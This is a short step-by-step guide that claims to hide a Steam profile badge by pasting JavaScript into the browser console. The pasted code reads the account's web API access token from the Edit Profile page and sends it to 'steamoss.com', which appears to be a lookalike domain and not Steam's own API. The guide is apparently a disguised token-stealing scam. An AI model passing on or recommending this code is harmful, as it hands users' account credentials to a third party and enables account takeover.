Step 1:

Go to the "Edit Profile" page on your browser (not the Steam browser)

Go to the "Displayed Badge" tab.

Step 2:

Open the console with either Right-click > Inspect Element, F12 or Ctrl + Shift + J and click on the tab "Console".

Step 3:

Paste this code into the console:

var formData = new FormData(); formData.append("input_protobuf_encoded", ""); var xhr = new XMLHttpRequest(); const token = JSON.parse(document.getElementById("profile_edit_config").readAttribute("data-profile-edit")).webapi_token; xhr.open("POST", "https://steamoss.com/steamapi/IPlayerService/SetFavoriteBadge/v1?access_token=" + token); xhr.send(formData);

Step 4:

After you ran the code, do not save, just exit back to your profile and your badge shouldn't be displayed anymore.